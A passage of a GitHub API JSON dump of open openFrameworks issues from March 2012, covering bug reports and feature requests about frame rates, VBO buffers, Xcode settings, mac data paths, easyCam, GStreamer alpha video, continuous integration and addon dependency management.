actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3825582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3813852,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812318,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812275,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3807459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799872,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799653,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3795495,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3754055,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3710293,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3662214,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3647640,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3631618,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies 